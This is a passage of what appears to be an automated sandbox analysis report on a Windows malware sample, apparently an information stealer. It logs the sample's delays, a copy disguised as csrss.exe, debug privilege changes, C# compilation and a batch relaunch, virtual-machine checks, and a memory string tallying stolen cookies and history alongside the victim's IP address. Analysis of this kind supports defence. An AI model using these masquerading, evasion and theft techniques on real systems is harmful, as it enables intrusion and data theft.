Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591922	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591812	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591703	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591571	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591462	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591344	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 590981	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 590504	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 590379	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 590052	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589932	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589810	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589703	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589594	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589469	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589321	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589203	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589094	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588984	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588875	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588765	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588641	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588528	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588372	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588070	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: csrss.exe, 0000001A.00000002.2949599561.0000000012DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: eEBHPUSTZPkuSqyW0ABxWQW9LOfRcIRQnOboVx4VVMCiFjm78daFjs8LlIlZmUhTHZqgEYFC4I4IpImSDdMURsUCNHVscERn7IgJCEm+JqDAJ8gGL5PpJD2hxdEEO0RGnHJBfARLVbiGxzWhtChrjFkdcRvurNmNOR0Q3SNERARGZo11U6GaFHgp0h12DVpotur2LcpUoi6KsQMIq2pOa0H9MuA010V+kk6shzRGBezPccbi3oGFC7WUrJMqibIa8O9E6JgEZRuRzgFxmkh2T16C1VyF2PXWmiOg+HKIq8C3AbyZ2IaL7YQDRzRC/HeyMfA3wO9BKw4jdrbhNhVXkREB9B6qBvgfofThGhD0A+kSOPghMhbCfoIZWxB6Doh1tvLxfQrqN6vYEStoQ+w2UoGRLOKAI+l+2rMHXs12i83xYKNbkhDsQYsKEL4BcP8kBcsqlI1UmHVluJC0hxGIBf7vCMe7AMQDrKyysLlT4JDTbkl8koENM3g//C8EbwKckdEnykUfAC8stliJBF+CcahL7rtkigVeYLEKRIFkEBe4q2SIVCeBBWOCHjqjFYgIS2obsaqVagSxV0FcW6MYSixVK7oeW21ehQYG1Rc0WEeRlyL3AscBqkRU0zsJCi0VytAEGySDO2GRm6iTjNuNvl37KdX3mdE7PslR6eT/sJyEQpf10IlEf7+c9eaqWuZd8uqL/loufHZXrf2U1l4/27/8UPl74IiYCKY8JUymPCfii6jzWyXoAttHbyna2lq0Bup2+ZFhLco+Y3j7J9QjTdC7WKTSX0/8sq5tEOmFFxZV3ENbgFfDENbsdqD6Gf1zgnyTpz/4LsaX0O4sq0CawZbSiD0COQdBiDMHcnLQhPM1lo1DTKMkZl5dkVgFnK63/XVAHvnYPwDMN6/rUgHJ964CbAokRiihO1+f5FJnzpkckOeW2UvyBZfVC2aNgVJ8my13rPKrPJ3sG64W9yms+CHn74Tk8TcN9uQdx/3v9/3wN8W+G7mv4n67I/17/E9f/AW/nhxgAXAAA","35d8f50be9ce23718b03ad282906cdb3fa75f62d"]]
Source: Gg6wivFINd.exe, 00000000.00000002.1709068799.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Gg6wivFINd.exe, 00000000.00000002.1722373082.000000001BB03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: csrss.exe, 0000001A.00000002.2961298333.000000001BA69000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000001C.00000002.1766763146.0000027757677000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\fWX3gCrjSV.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7B7D.tmp" "c:\Windows\System32\CSCF36723D4EAA14E7A90D51663AB383B81.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Gg6wivFINd.exe "C:\Users\user\Desktop\Gg6wivFINd.exe"	Jump to behavior

Source: csrss.exe, 0000001A.00000002.2923235693.000000000319B000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.000000000308A000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.0000000003125000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: csrss.exe, 0000001A.00000002.2923235693.000000000319B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"25","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"15"},"5.0.1",5,1,"","user","494126","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\All Users\\ssh","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States of America","New York / New York City"," / "]
Source: csrss.exe, 0000001A.00000002.2923235693.000000000319B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 0.1",5,1,"","user","494126","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\All Users\\ssh","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States of America","New York / New York City"," / "]

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Queries volume information: C:\Users\user\Desktop\Gg6wivFINd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\ProgramData\ssh\csrss.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\ProgramData\ssh\csrss.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
